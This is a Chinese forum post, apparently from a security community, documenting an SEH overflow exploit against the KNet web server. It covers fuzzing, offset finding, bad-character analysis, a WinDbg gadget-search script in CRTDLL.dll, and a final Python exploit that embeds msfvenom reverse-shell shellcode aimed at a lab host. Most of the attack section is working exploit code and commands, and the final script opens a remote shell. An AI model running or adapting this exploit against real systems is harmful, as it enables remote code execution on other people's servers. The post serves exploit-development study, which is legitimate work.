首页
社区
课程
招聘
[原创] Windows SEH 溢出漏洞分析记录 - KNet
发表于: 4小时前 75

[原创] Windows SEH 溢出漏洞分析记录 - KNet

4小时前
75

Windows SEH 溢出漏洞分析记录 - KNet

1.Fuzz 测试

正常安装以后准备一个目录,随便放个index.html然后开启web服务即可
图片描述

然后写一个模糊测试脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
import socket, sys
 
host = sys.argv[1]
port = 80
size = 2000
 
 
def send_exploit_request():
 
    buffer  = b"\x41" * size
 
    #HTTP Request
    request  = buffer + b" / HTTP/1.0\r\n\r\n"
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request)
    # print(s.recv(1024))
    s.close()
 
if __name__ == "__main__":
 
    send_exploit_request()

执行脚本,在windbg当中查看程序内存,肉眼可见,这个后续空间绝对不够写shellcode。优点是只有这一个SEH结构。
图片描述

2.溢出位置计算

msf生成有序字符串并且查询

1
msf-pattern_create -l 2000

windbg输出

1
2
3
0:000> !exchain
0014ffcc: 39714238
Invalid exception stack at 71423771

查询字符串位置

1
msf-pattern_offset -q 39714238

图片描述

修改代码

1
2
3
4
Next_Seh = b'B' * 4
SE_Handler = b'C' * 4
buffer = b'A' * 1282 + Next_Seh + SE_Handler
buffer += b'D' * (size - len(buffer))

windbg验证,一切符合预期。
图片描述

3.坏字符检测

修改代码

1
2
3
4
5
Next_Seh = b'B' * 4
SE_Handler = b'C' * 4
badchars = b'\x01\x02......' # badchars
buffer = b'A' * 1282 + Next_Seh + SE_Handler + badchars
buffer += b'D' * (size - len(buffer))

这里有点意外,\x0a竟然不是坏字符,一般来说web服务,\x0a都是坏字符。(这里有个坑,具体在Get shell部分详细说
图片描述
就常规的找坏字符的方式找出所有坏字符

1
\x00 \x0d \x0e \x0f \x20

4.PPR指令查找

还是使用narly,首先查看程序本身,00400000 00418000 KNet 这个地址本身就包含坏字符。所以PPR指令肯定不能从这里找,CRTDLL的地址很合适,但是需要首先了解一下这个dll的特性。

根据介绍,它是微软 Windows 系统中最古老的 C 语言运行时库之一。它是为了支持 Windows 95 和 Windows NT 3.x 时代的应用程序而设计的。它已经被废弃(Deprecated)很久了。现代程序通常使用 msvcrt.dllvcruntime140.dll 或通用的 ucrtbase.dll。但是,为了保持向后兼容性(让几十年前的老软件还能在 Win10/Win11 上运行),微软一直把它保留在 C:\Windows\System32 中。也就是说,这是一个为了兼容性保留的“遗留文件”,微软绝不会轻易修改它的代码逻辑,除非发现它内部有惊天动地的安全漏洞。CRTDLL.dll 是一个更新频率极低、Gadget 丰富的好东西,是可以利用的。

并且一般状况下,这个DLL即使是在现代系统上也不会开启保护,所以这里查询的时候,可以看到SafeSEH OFF

图片描述
OK,写个脚本

1
2
3
4
5
6
7
8
9
10
.block
{
    .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01)
    {
        .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01)
        {
            s-[1]b 10010000 10037000 $t0 $t1 c3
        }
    }
}

加载windbg

1
2
3
4
5
6
7
8
9
10
11
0:000> $><C:\Users\Cypher\Desktop\find_ppr.wds
0x10016190
0x10017071
0x1001739b
0x10017dff
0x10018119
0x100181f7
0x1001a93b
0x1001b613
0x1001c119
......

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
import socket, sys
 
host = sys.argv[1]
port = 80
size = 2000
 
 
def send_exploit_request():
 
    Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop
    SE_Handler = b'\x90\x61\x01\x10'  # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret
    # badchars \x00 \x0d \x0e \x0f \x20
 
    shellcode = b'\x90' * 12
    shellcode += b'\x90' * (400 - len(shellcode))
    jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f
    buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmpshel
    buffer += b'D' * (size - len(buffer))
 
    #HTTP Request
    request  = buffer + b" / HTTP/1.0\r\n\r\n"
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request)
    # print(s.recv(1024))
    s.close()
 
if __name__ == "__main__":
 
    send_exploit_request()

5.Get Shell

关于坏字符,按照常理来说,此时只需要把shellcode替换,即可正常反弹shell。但是实操起来会发现,遇到各种崩溃。前后的部分都好好的,但是在执行到shellcode以后,就会崩溃了。

查看此时代码:

1
2
3
# msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0d\x0e\x0f\x20'
shellcode = b'\x90' * 30
shellcode += .....

这样执行以后查看windbg,通过这个调试记录可以清晰的看到是走到了msf生成的shellcode当中的解码器部分,但是在执行到某一个点的时候崩溃了。
图片描述
这个问题就出在坏字符上,这里引入一个概念上下文相关的坏字符

先说答案\x0a\x25也是坏字符。

\x25在HTTP当中是%,当发送 \x01\x02...\x24\x25\x26... 时,\x25 (%) 后面紧跟着的是 \x26 (&)。 在 Web 服务器看来,它收到了字符串 ...$%&...服务器尝试进行 URL 解码。它虽然看到了 %,但是看后面两个字符,后面是 &。在 Hex 中,& 不是一个有效的十六进制数字(0-9, A-F)。所以,服务器判断这不是一个合法的 URL 编码序列,于是原样保留了 %。最终结果就是内存里看到了 25,所以认为它是安全的。

\x0a这个在大部分HTTP的情境下都是坏字符,但是测试坏字符的时候能够正常显示,原因在于,它的行为取决于它出现在哪里。坏字符测试时是这样的,\x0a 夹在一堆字符中间(buffer = b'A' *......)。KNet Web Server 可能有一个比较“宽容”的缓冲区读取逻辑,它可能是一次性 recv 固定长度,或者在看到连续的 \r\n\r\n 之前不停止。在简单的线性测试中,它可能侥幸过关,或者被当作普通字符读入缓冲区。但是,当我们把\x0a写入shellcode,就变成了这样GET /<Shellcode> HTTP/1.0服务可能认为 GET 请求到\x0a这里就完了,后面的字节被当作了下一行(Header)来处理,而不是 URI 的一部分。所以最终结果就是虽然在内存当中能够看到完整的shellcode,但是他却无法完整的解码执行。

OK了解到所有的原因,处理这个点就非常简单了,在生成shellcode的时候加上这个坏字符即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python
import socket, sys
 
host = sys.argv[1]
port = 80
size = 2000
 
 
def send_exploit_request():
 
    Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8; nop; nop
    SE_Handler = b'\x90\x61\x01\x10'  # 0x10016190 CRTDLL!open_osfhandle+0x9a: pop ebx;pop ebp;ret
    # \x00 \x0d \x0e \x0f \x20 \x0a \x25
     
    # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai EXITFUNC=thread -b '\x00\x0d\x0e\x0f\x20\x25'
    shellcode = b'\x90' * 30
    shellcode += b"\xdb\xdb\xbf\x47\xef\x53\x34\xd9\x74\x24\xf4"
    .....
    shellcode += b'\x90' * (400 - len(shellcode))
    jmp_shellcode = b'\x90' * 4 + b'\xE9\x6A\xFE\xFF\xFF' # E96AFEFFFF jmp 0xfffffe6f
    buffer = b'A' * 882 + shellcode + Next_Seh + SE_Handler + jmp_shellcode
    buffer += b'D' * (size - len(buffer))
 
    #HTTP Request
    request  = buffer + b" / HTTP/1.0\r\n\r\n"
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request)
    # print(s.recv(1024))
    s.close()
 
if __name__ == "__main__":
 
    send_exploit_request()

图片描述


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回